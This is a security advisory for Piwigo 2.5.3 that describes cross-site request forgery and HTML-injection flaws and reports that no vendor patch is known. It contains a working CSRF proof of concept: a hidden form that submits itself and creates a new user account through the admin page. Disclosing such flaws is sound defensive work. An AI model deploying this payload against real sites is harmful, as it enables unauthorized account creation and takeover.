Piwigo Multiple HTML Injection and Cross Site Request Forgery Vulnerabilities

Bugtraq ID:	64357
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 17 2013 12:00AM
Updated:	Dec 17 2013 12:00AM
Credit:	sajith
Vulnerable:
Not Vulnerable:

Piwigo Multiple HTML Injection and Cross Site Request Forgery Vulnerabilities

Piwigo is prone to cross-site request-forgery and HTML-injection vulnerabilities.

Exploiting these issues may allow a remote attacker to perform certain unauthorized actions, execute arbitrary script or HTML code within the context of the browser, and steal cookie-based authentication credentials. Other attacks are also possible.

Piwigo 2.5.3 is vulnerable; other versions may also be affected.

Piwigo Multiple HTML Injection and Cross Site Request Forgery Vulnerabilities

Attackers can exploit these issues using browser. To exploit the cross-site request-forgery vulnerability, the attacker must entice an unsuspecting victim to visit a specially-crafted webpage.

Following exploit code is available for:

<head>
<title>POC</title>
</head>
<body>
<form action="http://www.example.com/cms/piwigo/admin.php?page=user_list"
id="formid" method="post">
<input type="hidden" name="login" value="crsfpoc123" />
<input type="hidden" name="password" value="Password123@" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="send_password_by_mail" value="1" />
<input type="hidden" name="submit_add" value="Submit" />
</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>

Piwigo Multiple HTML Injection and Cross Site Request Forgery Vulnerabilities

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Piwigo Multiple HTML Injection and Cross Site Request Forgery Vulnerabilities

References:

• Piwigo Homepage (Piwigo)